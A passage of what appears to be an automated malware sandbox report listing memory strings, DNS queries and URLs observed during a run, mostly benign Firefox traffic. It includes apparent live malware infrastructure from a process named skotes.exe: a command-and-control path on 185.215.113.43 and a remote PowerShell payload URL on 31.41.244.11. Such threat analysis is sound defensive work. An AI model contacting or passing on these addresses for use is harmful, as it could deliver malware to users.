Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))New features include Inline Image Viewer, Never Ending Reddit (never click 'next page' again), Keyboard Navigation, Account Switcher, and User Tagger. equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))New features include Inline Image Viewer, Never Ending Reddit (never click 'next page' again), Keyboard Navigation, Account Switcher, and User Tagger. equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))New features include Inline Image Viewer, Never Ending Reddit (never click 'next page' again), Keyboard Navigation, Account Switcher, and User Tagger. equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B49F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B49F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B49F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: powershell.exe, 00000007.00000002.3091318017.00000000086DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account 1PN equals www.youtube.com (Youtube)
Source: powershell.exe, 00000007.00000002.3091318017.00000000086DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account NN equals www.youtube.com (Youtube)
Source: powershell.exe, 00000007.00000002.3030468982.0000000004BC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3343255794.000001A8B7E1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: History.17.dr	String found in binary or memory: https://www.youtube.com/accountYouTube equals www.youtube.com (Youtube)
Source: History.17.dr	String found in binary or memory: https://www.youtube.com/accountYouTube/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountbound fixupAndLoadURIStringLOAD_FLAGS_ERROR_LOAD_CHANGES_RVbound _updateEnabledStateobserve/secondaryActions< equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3270733582.000001A8B8604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000B.00000003.2984314258.0000027D5D6DD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000B.00000002.2991420610.0000027D5D6E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: n]8p8https://www.youtube.com/account --attempting-deelevationUser equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3236983756.000001A8BFD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: nmoz-nullprincipal:{a7578a0f-09bf-4e44-b413-18f89f298fa5}?https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000002.3284374660.0000029D56100000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3291692182.000002B9C2CA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3290620208.000001F42CED0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Fir equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: previousHandler.preferredAction.https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://search-extensions/google/://.adsafeprotected.com/jsvid?*://securepubads.g.doubleclick.net/gampad/adresource://search-extensions/amazondotcom/--autocomplete-popup-separator-coloraddons-search-detection@mozilla.comresource://search-extensions/wikipedia/://www.facebook.com/platform/impression.phphttps://ads.stickyadstv.com/firefox-etp://ads.stickyadstv.com/user-matching*app.update.background.enabled=false equals www.facebook.com (Facebook)
Source: firefox.exe, 0000000B.00000003.2984314258.0000027D5D6DD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000B.00000002.2991420610.0000027D5D6E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3345132926.000001A8B7EE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3233508837.000001A8C3D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3263352248.000001A8C37E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3238343935.000001A8C3789000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3111075375.000001A8B74FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7CDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3233508837.000001A8C3D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3262748007.000001A8C3DBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com- equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3255394267.000001A8B8DAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com@ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3270733582.000001A8B8613000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3336939375.000001A8B74B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3108722427.000001A8B86B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3246944068.000001A8B91AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x.S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7CCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xabout:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3262808062.000001A8C3D9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3233508837.000001A8C3D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xe=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3336939375.000001A8B7453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7CCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B49BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3270733582.000001A8B8604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3240111814.000001A8BFFCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: accounts.youtube.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: firefox.exe, 00000010.00000002.3302124352.000001A8A5F6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/3405117-2476756634-1003
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php&
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php;A
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpOAP
Source: skotes.exe, 00000006.00000002.3278202583.0000000000998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpa
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpc
Source: skotes.exe, 00000006.00000002.3278202583.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpf
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpkAl
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded%
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpu
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/dx
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/l
Source: skotes.exe, 00000006.00000002.3278202583.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3278202583.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/5124158732/KQGBYWk.ps1
Source: skotes.exe, 00000006.00000002.3278202583.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/5124158732/KQGBYWk.ps1XYZ0123456789
Source: skotes.exe, 00000006.00000002.3278202583.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/5124158732/KQGBYWk.ps1swsock.dll
Source: firefox.exe, 00000010.00000003.3270733582.000001A8B8604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000010.00000003.3270733582.000001A8B8604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000010.00000003.3270733582.000001A8B8604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000010.00000003.3270733582.000001A8B8604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: firefox.exe, 00000010.00000003.3275418110.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3231894604.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3309155779.000001A8B2A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/Di
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: firefox.exe, 00000010.00000002.3311223574.000001A8B2ABA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: svchost.exe, 0000000C.00000002.3297975932.0000029748A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: firefox.exe, 00000010.00000003.3275418110.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3231894604.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3309155779.000001A8B2A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digi
Source: firefox.exe, 00000010.00000002.3309155779.000001A8B2A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: firefox.exe, 00000010.00000003.3275418110.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3231894604.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3309155779.000001A8B2A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/QX
Source: firefox.exe, 00000010.00000003.3275418110.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3231894604.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3309155779.000001A8B2A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-
Source: firefox.exe, 00000010.00000003.3275418110.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3231894604.000001A8B2A98000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3309155779.000001A8B2A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: firefox.exe, 00000010.00000002.3316913295.000001A8B4977000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3240111814.000001A8BFFCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B498C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235722215.000001A8C37BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7CA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000010.00000002.3330787150.000001A8B6F81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7C70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235722215.000001A8C37DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000010.00000002.3316913295.000001A8B493B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7C70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235722215.000001A8C37BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7CE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000010.00000003.3235722215.000001A8C37BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3343255794.000001A8B7E24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000010.00000002.3307005394.000001A8B278A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000010.00000002.3307005394.000001A8B2781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000010.00000002.3307005394.000001A8B278A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000010.00000002.3307005394.000001A8B2781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
